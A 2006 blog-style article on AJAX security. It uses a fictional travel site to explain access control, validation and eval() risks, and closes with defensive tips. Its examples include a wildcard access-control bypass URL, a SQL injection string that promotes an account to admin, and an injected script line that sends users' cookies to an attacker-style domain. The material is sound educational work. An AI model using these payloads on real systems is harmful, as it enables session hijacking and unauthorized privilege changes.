AJAX Security

By | February 13, 2006

Web developers cannot have failed to notice the excitement surrounding AJAX or Asynchronous JavaScript And XML. The ability to create intelligent web sites such as Google Suggest or compelling web-based applications such as Gmail is thanks in no small part to this technology. There is, however, a darker side – and accompanying the growth in AJAX applications we have noticed an equally significant growth in security flaws, with the potential to turn AJAX-enabled sites into a time bomb.

The Benefits of AJAX

In the good old days of “Web Applications”, things were simpler. You filled in a form, you pressed “Submit”, the screen cleared, and after a short wait you´d move onto the next page. Today things are different – users demand a Web experience which is smoother, faster, and preferably as intuitive as any desktop application.

AJAX, often in conjunction with DHTML (Dynamic HTML), fulfils that need by allowing the JavaScript code within a web page to communicate seamlessly “behind the scenes” with the web server. For example, as you begin to fill in the Google Suggest search box, the web page exchanges data with the server behind the scenes and up pops the possibilities for you. All without the screen refreshing or any button pushing. It´s also how applications such as Gmail can offer such delights as real-time spell checking.

How AJAX Works

The intricacies of AJAX are beyond the scope of this document, however the principle is this. JavaScript code on your web page is able to connect to your web server independently of the user. The backbone is JavaScript´s XMLHttpRequest object which can be triggered by events such as user keystrokes or a timer and set to operate in the background or asynchronously (hence the term Asynchronous JavaScript and XML).

Typing “ajax” into Google Suggest yields the following Server requests as I type:

1. www.google.com/complete/search?hl=en&js=true&qu=aj

2. www.google.com/complete/search?hl=en&js=true&qu=aja

3. www.google.com/complete/search?hl=en&js=true&qu=ajax

It is worth noting that the XML part is a little misleading – it comes from the name of the JavaScript object, and whilst many AJAX style applications make use of XML, the object can be used to make a request for just about anything from the Server. Even JavaScript code itself can be retrieved and evaluated – completing my search by typing “ajax example” yields the following response from Google´s servers:

sendRPCDone(frameElement, “ajax example”, new Array(“ajax example”, “ajax examples”), new Array(“153,000 results”, “177,000 results”), new Array(“”));

which should give you some indication as to the potential power of AJAX – the ability to add new JavaScript code to a browser “on the fly”. Best practice, however, seems to be to stick to XML conventions due to its inherent scalability – so for example Google could have produced something like this:

ajax example


ajax examples


Clearly, you would then have to decode the XML data into a usable form, but thankfully JavaScript is actually rather good at manipulating XML subject to a few typical caveats and various annoying Internet Explorer bugs.

To help you understand some of the problems with Ajax, I´d like to introduce the fictitious travel company – “Far-Out Travel”. Fuelled by the AJAX bug, their chief web developer Max Uptime has decided to add AJAX into the mix, in order to create an application that´s, well, Far Out!

The Trouble with AJAX

The majority of AJAX security risks come from flawed implementations at the Server. Clearly, good design using secure coding techniques will go a long way to making AJAX a lot safer, and thankfully Max is familiar with the Open Web Application Security Project “Top Ten” list ( www.owasp.org ). Unfortunately, there are many additional factors working against Max when he tries to implement AJAX:

Novel Technology – If Max wanted to connect his site to a SQL database, he´d find millions of examples on Google. AJAX technology, despite being several years old now, is still relatively early in its adoption cycle, with far fewer good examples out there on the web. This leaves developers like Max on their own – a great recipe for some unwieldy and unnecessarily over-complicated solutions. Max is forced to come up with new code on both Server and Client, creating his own dubious conventions along the way (especially for the Server responses). Whether those conventions are any good will only become apparent in time.

Unconventional Design – AJAX is slightly unconventional, because the application is part Client Side and part Server Side. In Max´s case – he´s the sole developer – so will be coding both the Server and Client ends. The use of two different languages at almost the same time (especially in the early stages) will encourage basic coding mistakes as he flips between the two – what´s OK for one may not be for the other. Even if Max had a larger team, the responsibility for secure coding is likely to blur in the handover between the Server and Client teams.

Too many scripts – Max in his wisdom has decided to create the world´s more sophisticated travel booking tool. You begin by entering where you are now (through ZIP, post code, or GPS co-ordinates), and an AJAX call immediately establishes your exact location. From then on, the screen begins to fill with all possible methods of transportation available to you – and that´s before you´ve even decided on where you want to go, when you want to travel and who you´d like to take!

This screen full of AJAX-driven form fields and controls may demand more than 20 different calls to the server – with both Server and Client side scripting. You can imagine tiny individual Server routines such as: findairportsbylocation.aspx or even determinemaxbaggageallowancebyairline.php

Clearly, without careful planning by Max (for example, creating multi-purpose “overloaded” JavaScript functions and Server Side scripts), there is every chance that he will have created over 40 separate. More programming means more opportunities for errors and bugs to creep in, and a much harder time writing, managing, testing and updating all of that code. Furthermore, because many of these scripts are buried deep within the Client side JavaScript code, they can easily become forgotten in the absence of a formal testing programme.

Surely a little more AJAX won´t hurt – The site is about to go live, but Max thinks it would be great to bring up a satellite view of your exact location right now, along with the Weather at your proposed destination. One of the biggest temptations of AJAX seems to be to sneak in yet another control at the last minute – as one commentator puts it, using AJAX for the sake of AJAX. As Max tries out new ideas, he´ll be tempted to add yet more functionality at the 11th hour, completely overlooking the need to test.

Insecure communication – Each of these AJAX calls will probably be transferring only tiny amounts of data back to the client, but that data could be private and confidential. Max could write a handy tool to verify the checksum digit of your credit card number – but what if that was sent in plain text instead of over SSL? That´s an obvious one, but it´s easy to overlook SSL when there are so many routines to consider, especially where 99% of the other data on the screen isn´t actually confidential.

Server Side Access Control – The use of JavaScript routines to trigger AJAX can often mask obvious coding mistakes – and Server Side Access Control is just one example. Imagine Max wants to offer your favourite hotel based on the last time you visited a particular destination – he might use the following:


That´s all very well, but what if a malicious user changed the URL to read: showprevioushotels.aspx?userid=12346&destination=%

would they get access to someone else´s favourites? (NB: the percent sign is the SQL equivalent of an asterisk wildcard). Clearly, this is a fairly innocuous example, but Max should be using session cookies or some other form of token to ensure that data is only sent to the right person. They might only be snippets of data – but they could be important snippets!

Server Side Validation – There are actually two problems here. Firstly, AJAX controls are often used to provide validation for user input prior to final submission to the Server. This has lulled Max into a false sense of security – he has created a Server side function called alloweddestinations.php to determine the valid destinations the user can fly to based upon their user ID.

Because it´s a server side check, he doesn´t bother to check again on the server when the page is finally submitted – assuming (wrongly) that a malicious user can´t subvert either the response from alloweddestinations.php or the final request to the Server.

Big mistake – AJAX controls may make validation of user input more seamless to the user (i.e. you don´t have to fill in the whole page for the server to flag up a problem), but they are always additional to the final validation at the Server.

The second problem with AJAX validation is that the controls themselves may be subject to validation flaws. Once again, the URLs are generally hidden from view, so the routines are often forgotten about. I might, for example, be able to use SQL Injection to exploit the previous script:

showprevioushostels.aspx?userid=´; update users set type=´admin´ where userid=12345;–

giving me the ability to change my login to that of a system administrator. Clearly, how I get those table and column names is beyond the scope of this document, but you get the picture!

Client Side Validation – As shown in the Google Suggest example, it is possible for JavaScript functions to be created and executed “on the fly” by simply evaluating the incoming Server response. Without some form of validation (which will be difficult to do reliably and consistently Client Side), the Client will simply do whatever the Server tells it.

This has the potential to open up a whole new attack vector for malicious hackers since the actual code being executed is never visible to a normal user – meaning you cannot simply do a “View Source”. If the Server response is ever subverted – either by compromising the web server itself or the traffic in between – the attack would be difficult to spot.

Max uses the following response to update the weather icon on the destination page using the eval(); function:


However, malicious cracker could change this function to the following and it could be rather difficult to spot:

updateWeatherIcon(´www.myhackingsite.ru/grab.aspx?c=´ + document.cookies); updateWeatherIcon(´cloudy.gif´);

We can now track every user´s session ID / cookies from the comfort of our own server.


There is no doubt that AJAX and AJAX-style technologies are the way forward for web design. Developers can create true “applications” on the web like never before – however care needs to be taken with AJAX, in order to keep web sites secure.

One of the biggest threats, however, comes from the increase in complexity of Client Side scripting accompanied by the potential increase in the number of Server Side scripts used to make AJAX work. These scripts are “hidden from view” by the technology, making testing less intuitive – whilst at the same time the adoption of this new technology appears to make quite sane web developers forget the basics of good coding. Issues such as Access Control and Input Validation don´t go away – they just multiply and become interwoven.

The AJAX “Top 5” security tips:

To succeed – you must start with good planning. Efforts should be focussed on reducing and simplifying the AJAX calls, and creating a standard format for responses that follows convention (ideally XML) where possible.

Follow best practice from sites such as the Open Web Application Security Project. This especially includes checking for Access Control and Input Validation flaws, whilst ensuring sensitive information travels over SSL rather than in the clear.

Never assume that Server Side AJAX checks for Access Control or User Input Validation will replace the need for final re-checking at the Server. Adding AJAX controls will never reduce your validation workload, they will only increase it.

Never assume that Client Side obfuscation (making the JavaScript difficult to read or decode) will protect your most important commercial secrets. Using JavaScript is a poor way to hide programming tricks and advances from your competitors.

Finally, you must be prepared to exercise a tight reign over your development team. Wonderful ideas using AJAX may sound compelling, but you should consider saving them for version 2, whilst you focus on building a rock-solid version 1.

Leave a Reply